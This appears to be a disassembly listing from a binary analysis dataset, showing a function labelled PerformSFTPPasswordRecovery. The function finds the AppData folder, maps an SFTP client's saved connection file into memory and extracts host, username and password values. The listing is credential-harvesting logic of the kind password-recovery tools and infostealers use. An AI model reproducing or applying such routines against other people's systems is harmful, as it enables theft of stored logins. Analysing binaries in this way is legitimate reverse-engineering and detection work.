Function at 0x41b813
Capabilities:
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x17f4
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
push str.PerformSFTPPasswordRecovery
push str._s_Recovering_password_from_SFTP_json_file__s
call fcn.00449974
push 9
pop ecx
push 0x3c4
lea eax, [ebp - 0x7dc]
mov esi, str.sftpclientdbconnection_manager.db
lea edi, [ebp - 0x800]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00626f50
push ebx
call fcn.00631510
add esp, 0x1c
cmp eax, 1
jae 0x41b8d3
lea eax, [ebp - 0x17e8]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x41b8aa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov esi, str.PerformSFTPPasswordRecovery
push esi
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
call fcn.00449974
add esp, 0xc
xor eax, eax
jmp 0x41bbc8
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x17e8]
push eax
push 0x66c218
lea eax, [ebp - 0x418]
push 0x3e8
push eax
call fcn.00445d6d
add esp, 0x14
jmp 0x41b8ea
push ebx
lea eax, [ebp - 0x418]
push 0x3e8
push eax
call fcn.006311ec
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x418]
mov edi, str.PerformSFTPPasswordRecovery
push eax
push edi
push str._n_s_Final_profile_path___s
call fcn.00449974
add esp, 0xc
lea eax, [ebp - 0x418]
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x17f4], eax
cmp eax, 0xffffffff
jne 0x41b949
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s___Failed_to_open_the_file__Error0x_.8x___s
call fcn.00449974
add esp, 0x10
jmp 0x41b8a3
push ebx
push ebx
push ebx
push 2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
mov dword [ebp - 0x17f0], ebx
test ebx, ebx
jne 0x41b974
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s___CreateFileMapping_Failed_Error0x_.8x___s
jmp 0x41b89b
push 0
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
mov dword [ebp - 0x17ec], esi
test esi, esi
jne 0x41b9b0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s___MapViewOfFile_Failed__Error0x_.8x___s
call fcn.00449974
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41b8a3
push esi
lea eax, [ebp - 0x418]
push eax
push edi
push str._n_s___Successfully_mapped_the_file_to_memory__s_at_0x_.8x
call fcn.00449974
push str._n_n_Now_lisiting_the_login_passwords......._n_n
mov ebx, esi
call fcn.00449974
mov esi, str._parent_:
mov dword [ebp - 0xc], 0x736f6822
lea edi, [ebp - 0x18]
mov dword [ebp - 8], 0x3a2274
add esp, 0x14
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str._username_:
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str._password_:
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, 0x400
xor eax, eax
mov byte [ebp - 0x1400], al
mov byte [ebp - 0xc00], al
mov byte [ebp - 0x1000], al
lea eax, [ebp - 0x18]
push eax
push ebx
call fcn.00627320
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x41bb79
lea eax, [ebp - 0x18]
push eax
call fcn.00631510
add ebx, eax
lea eax, [ebp - 0xc]
push eax
push ebx
call fcn.00627320
mov esi, eax
add esp, 0xc
test esi, esi
je 0x41ba08
lea eax, [ebp - 0xc]
push eax
call fcn.00631510
push 0x2c
lea ebx, [esi + eax]
push ebx
call fcn.006270b0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x41ba08
sub eax, ebx
sub eax, 2
push eax
lea eax, [ebx + 1]
push eax
lea eax, [ebp - 0x1400]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0x24]
mov ebx, esi
push eax
push esi
call fcn.00627320
mov esi, eax
add esp, 0x18
test esi, esi
je 0x41ba08
lea eax, [ebp - 0x24]
push eax
call fcn.00631510
push 0x2c
lea ebx, [esi + eax]
push ebx
call fcn.006270b0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x41ba08
sub eax, ebx
sub eax, 2
push eax
lea eax, [ebx + 1]
push eax
lea eax, [ebp - 0x1000]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0x30]
mov ebx, esi
push eax
push esi
call fcn.00627320
mov esi, eax
add esp, 0x18
test esi, esi
je 0x41ba08
lea eax, [ebp - 0x30]
push eax
call fcn.00631510
push 0x2c
lea ebx, [esi + eax]
push ebx
call fcn.006270b0
mov esi, eax
add esp, 0xc
test esi, esi
je 0x41ba08
sub eax, ebx
sub eax, 2
push eax
lea eax, [ebx + 1]
push eax
lea eax, [ebp - 0xc00]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0xc00]
mov ebx, esi
push eax
lea eax, [ebp - 0x1000]
push eax
lea eax, [ebp - 0x1400]
push eax
push str._n_Host__s___User__s___Password__s_
call fcn.00449974
push 0xffffffffffffffff
mov esi, 0x66ae5d
lea eax, [ebp - 0xc00]
push esi
push eax
lea eax, [ebp - 0x1000]
push eax
lea eax, [ebp - 0x1400]
push eax
push esi
push 0x138
push 4
call fcn.00412c85
add esp, 0x40
jmp 0x41ba08
mov esi, str.PerformSFTPPasswordRecovery
push esi
push str._n_n_n__s____No_more_entries_found__Finished_parsing_through_logins_file...
call fcn.00449974
lea eax, [ebp - 0x418]
push eax
push esi
push str._n_n__s___Finished_processing_SFTP_login_profile_file__s
call fcn.00449974
add esp, 0x14
push dword [ebp - 0x17ec]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x17f0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebp - 0x17f4]
test eax, eax
je 0x41bbc5
push eax
call esi
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret